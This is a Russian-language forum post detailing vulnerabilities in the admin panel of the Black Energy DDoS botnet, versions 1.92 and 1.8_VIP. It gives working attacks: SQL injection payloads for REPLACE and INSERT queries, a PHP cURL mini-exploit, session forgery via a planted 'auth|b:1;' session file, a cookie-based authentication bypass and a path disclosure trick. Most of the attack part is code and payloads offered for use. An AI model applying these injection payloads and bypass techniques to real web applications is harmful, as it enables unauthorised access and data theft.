Уязвимости админ панели у
Black Energy ddos bot
1) Версия 1.92
Возможно раскрытие путей через session_start();, для этого в PHPSESSID установите
!@#$%@#@
При
magic_quotes_gpc = off возможна sql inj в REPLACE INTO
Уязвимый код в index.php:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]]))
{
if (!isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'spoof_ip'[/COLOR][COLOR="#007700"]]))
[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'spoof_ip'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
foreach ([/COLOR][COLOR="#0000BB"]array_keys[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]]) as[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]db_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"REPLACE INTO `opt` (`name`, `value`) VALUES ('[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]')"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"location: index.php"[/COLOR][COLOR="#007700"]);
}
}
....
[/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]db_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM `opt`"[/COLOR][COLOR="#007700"]);
while ([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"]))
[/COLOR][COLOR="#0000BB"]$opt[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]]] =[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'value'[/COLOR][COLOR="#007700"]];
[/COLOR][/COLOR]
Есть мини сплоент
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"http://127.0.0.1/be/www/index.php"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"opt[cmd'/*]=*/, (select version()) ) -- 1"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
function[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$refer[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_init[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_USERAGENT[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Opera/9.61 (Windows NT 5.1; U; Edition Campaign 05; en) Presto/2.1.1"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_POST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_POSTFIELDS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_REFERER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$refer[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_COOKIE[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"PHPSESSID=7ea3b2c1f4150f4948555ac26263dd33;"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// нужно указать свой для авторизации
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_FOLLOWLOCATION[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$answer[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]$answer[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
Кстати, если есть доступ к северу с сайта соседа и место хранения сессий одинаковое (/tmp/ например) сессию можно легко подделать. Там не проверяются логин и пароль, а проверяется auth на значение true
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'auth'[/COLOR][COLOR="#007700"]]))[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"location: index.php"[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
Для этого создаете в хранилище файл с названием sess_123456 и содержанием auth|b:1; , после чего в Cookie подменяете PHPSESSID на 123456.
При использовании мультибайтовой кодировки в бд возможна еще иньекция в stat.php через addslashes(), но это думаю очень повезти должно.
2) Версия v1.8_VIP
Обход авторизации
Уязвимый код в index.php:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]$logined[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'logined'[/COLOR][COLOR="#007700"]];
if ([/COLOR][COLOR="#0000BB"]$logined[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$logined[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
В cookie достаточно установить logined с любым значением и авторизация пройдет.
В админке есть 3 sql inj, через INSERT,DELETE и есть через REPLACE которая описана выше.
Опишу sql inj через insert
Уязвимый код в index.php:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]case[/COLOR][COLOR="#DD0000"]"add"[/COLOR][COLOR="#007700"]:
if (empty([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]]))
break;
if (isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]]))[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"INSERT INTO `files`
(`url`, `dnum`, `country`)
VALUES
('[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]intval[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dnum'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]"', '[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]')
"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"location: index.php"[/COLOR][COLOR="#007700"]);
break;
[/COLOR][/COLOR]
Для эксплатации в
url пишем
test' /*
в for country: пишем
*/ ,'1', (select version()) )--
Тут есть маленький подвох еще, длина поля country (в котором вывод) всего 10 символов, так что крутить придется выдирая данные частями либо через ошибку.